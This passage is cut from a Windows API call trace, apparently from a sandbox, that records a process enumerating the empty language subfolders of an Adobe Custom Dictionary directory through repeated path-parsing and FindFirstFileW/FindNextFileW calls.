lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.799] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.799] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.799] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.799] PathFindFileNameW (pszPath="") returned="" [0273.799] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.799] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.800] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.800] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.800] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.800] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.800] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.800] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.800] PathFindFileNameW (pszPath="") returned="" [0273.800] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.801] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.801] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.801] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.801] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.801] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0273.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.802] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.802] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.802] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.802] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.802] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.802] PathFindFileNameW (pszPath="") returned="" [0273.802] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.802] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.802] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.802] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.802] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.802] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.802] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.803] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.803] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.803] PathFindFileNameW (pszPath="") returned="" [0273.803] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.803] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.803] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.803] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.804] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.804] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.804] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.804] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.804] PathFindFileNameW (pszPath="") returned="" [0273.804] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.805] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.805] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.805] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.805] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.805] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.805] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.806] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.806] PathFindFileNameW (pszPath="") returned="" [0273.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.806] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.806] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.806] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.806] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.806] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0273.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.807] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.807] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.807] PathFindFileNameW (pszPath="") returned="" [0273.807] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.807] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.807] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.807] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.807] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.807] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") 